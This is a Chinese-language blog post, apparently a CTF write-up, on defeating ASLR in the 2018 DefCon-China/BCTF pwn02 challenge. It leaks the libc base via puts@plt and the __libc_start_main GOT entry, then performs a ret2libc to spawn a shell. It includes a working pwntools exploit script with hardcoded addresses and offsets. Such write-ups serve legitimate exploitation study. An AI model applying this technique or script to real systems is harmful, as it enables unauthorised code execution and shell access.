ASLR機制及繞過策略-棧相關(guān)漏洞libc基址泄露

ASLR(地址隨機化)是一種針對緩沖區(qū)溢出的安全保護技術(shù),通過對堆、棧、共享庫映射等線性區(qū)布局的隨機化,通過增加攻擊者預測目的地址的難度,防止攻擊者直接定位攻擊代碼位置,達到阻止溢出攻擊的目的。
但是,地址隨機化不是對所有模塊和內(nèi)存區(qū)都進行隨機化!雖然libc、棧、堆的加載位置被隨機化,但主鏡像不會

一,測試程序-2018 DefCon-China & BCTF攻防賽pwn02題第3點

程序:https://pan.baidu.com/s/1msX6qw9K0tR-CMT6K9oR_w 密碼:2csu

1.查看下保護機制

看可以看到,pwn02即開啟了ASLR(地址隨機化)又開啟了NX(棧不可執(zhí)行)

2.查看libc的加載地址是否會改變

在之前的實驗中,我們使用ldd命令查看關(guān)閉了ASLR保護基址的程序的libc加載地址,這次同樣使用該命令查看pwn02libc文件的加載地址

我們將它運行三次,可以發(fā)現(xiàn),每一此它的加載位置都是不同的,也就是說,我們不在可以通過簡單的ldd命令將libc的加載地址給獲取

3.運行程序


當看到input your id時,我們就可以有些想法了,啊 !是不是棧溢出?。枯斎胍婚L串字符測試下,果然報錯 Segmentation fault

4.IDA打開,觀察漏洞點

發(fā)現(xiàn)程序崩潰語句===>沒有控制字符串拷貝的大小

二,利用思路

首先繞過ASLR(地址隨機化),泄露出libc的基址libc_base,然后利用Ret2libc或構(gòu)造ROP鏈繞過NX,但是要注意的是,這兩步要在一次運行完成,不然因為地址隨機化的緣故,在下一次運行時libc基址又將改變。

也就是說,這個溢出漏洞在一次運行中利用兩次,第一次泄露libc基址,第二次利用泄露出來的libc基址獲得shell

完成libc基址泄露,并使漏洞可以利用兩次

常用思路:首先通過溢出返回至PLT表中,調(diào)用具有輸出功能的函數(shù)(常用puts/write/printf)GOT表中的真實libc函數(shù)地址打印出來,從而分析libc基地址。然后返回至漏洞函數(shù)二次觸發(fā)溢出,此時便采取正常利用思路獲得shell

簡單說就是:

1.獲得程序調(diào)用的一個libc函數(shù)的在程序里的真實地址---------func_true_addr
2.獲得這個函數(shù)在libc文件里的偏移地址---------------------------func_offset_addr
3.通過相減得到libc在程序里的加載地址----------------------libc_base = func_true_addr - func_offset_addr

__libc_start_mainlibc中的一個函數(shù),在程序進入main的初始化工作中會被調(diào)用,為了獲得它的真實地址,并可以二次利用漏洞,我們可以布局為:

布局原理:布局完成后,返回地址return_addr被覆蓋為puts@plt地址,當運行到原返回地址位置時,會跳轉(zhuǎn)到puts中執(zhí)行,同時,esp指向esp+4,這時對puts來說,它內(nèi)部的ret(返回地址)執(zhí)行時esp指針還是指向esp+4的,也就是esp + 4(main)就是puts函數(shù)的返回地址,而esp+8(__libc_start_main@got.plt)則是它的參數(shù)。

流程:當調(diào)用puts時,__lic_start_main作為參數(shù)傳入,這樣我們就可以獲得__libc_start_main在程序中的加載地址,當puts返回時會回到main函數(shù)當中,從而實現(xiàn)堆漏洞的二次利用。

$1,IDA查找pwn02中puts@plt

得到0x08048868

$2,IDA查找pwn02中main

得到0x080496D1

$2,IDA查找pwn02中__libc_start_main

1

2

得到0x0804BFD8

得到這些我們第一利用就可以得到libc基址libc_base,第二次只要繞過NX就可以了

在這我使用的是Ret2libc,可以參考我的另一篇文章:http://www.itdecent.cn/p/c90530c910b0,我就不再贅述。

三,代碼

利用這些我們寫一個腳本-文件名exp.py

from pwn import *
r = process('./pwn02')

def overflow(data):
    r.recvuntil('Your choice: ')
    r.sendline('3')
    r.recvuntil('):')
    r.sendline('+')
    r.recvuntil('):')
    r.sendline('1 2')
    r.recvuntil('input your id')
    r.sendline(data)

buf = 'A' * 44
buf += p32(0x08048868)                        #puts
buf += p32(0x080496D1)                        #main
buf += p32(0x0804BFD8)                        #__libc_start_main
overflow(buf)


r.recvuntil('...\n')                                  #泄露libc基址    libc_base
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value)
libc_base =leak_value - 0x000198B0

system_addr = libc_base + 0x0003D7E0                    #計算system()
sh_addr = libc_base + 0x0017c968                        #計算`/bin/sh`

buf = 'A' * 44                                          #ret2libc
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf)

r.interactive()


四,測試

輸入whoami,返回當前用戶為root,輸入ls,返回當前目錄下的文件,均未報錯,得到可產(chǎn)生交互的shell,實驗完成!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容